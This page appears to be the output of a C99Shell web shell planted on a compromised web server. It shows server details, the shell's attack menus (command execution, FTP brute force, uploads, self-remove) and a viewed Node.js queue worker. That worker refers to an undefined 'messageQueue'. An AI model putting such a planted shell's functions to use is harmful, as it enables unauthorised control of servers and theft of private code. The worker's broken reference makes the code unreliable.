!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/instagram/src/openAi/queue/   drwxr-xr-x
Free 8.14 GB of 57.97 GB (14.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     processor.js (1.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// const redis = require("../../config/redisClient");
const path = require("path");
const redis = require(path.resolve(process.cwd(), "config", "redisClient"));
const { chatQueue } = require("./index");
// processor.js

chatQueue.process(1, async (job) => {
  const { userId, text } = job.data;

  try {
    await redis.set(`user:${userId}:busy`, 'true');
    console.log(`Processing for ${userId}: ${text}`);

    // 🔹 simulate OpenAI or processing delay
    await new Promise(r => setTimeout(r, 2000));

    console.log(`✅ Processed: ${text}`);

    // 🔹 After processing, check if there are new pending messages
    const nextMessage = await redis.lpop(`user:${userId}:pending`);
    if (nextMessage) {
      console.log(`Found pending message for ${userId}, re-queuing...`);
      await chatQueue.add({ userId, text: nextMessage });
    } else {
      console.log(`No pending messages for ${userId}`);
      await redis.del(`user:${userId}:busy`);
    }

  } catch (err) {
    console.error('Job failed', err);
    throw err; // Bull will retry
  }
});

// Retry failed jobs automatically
messageQueue.on('failed', (job, err) => {
  console.error(`Job failed for user ${job.data.userId}, retrying...`, err.message);
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0241 ]--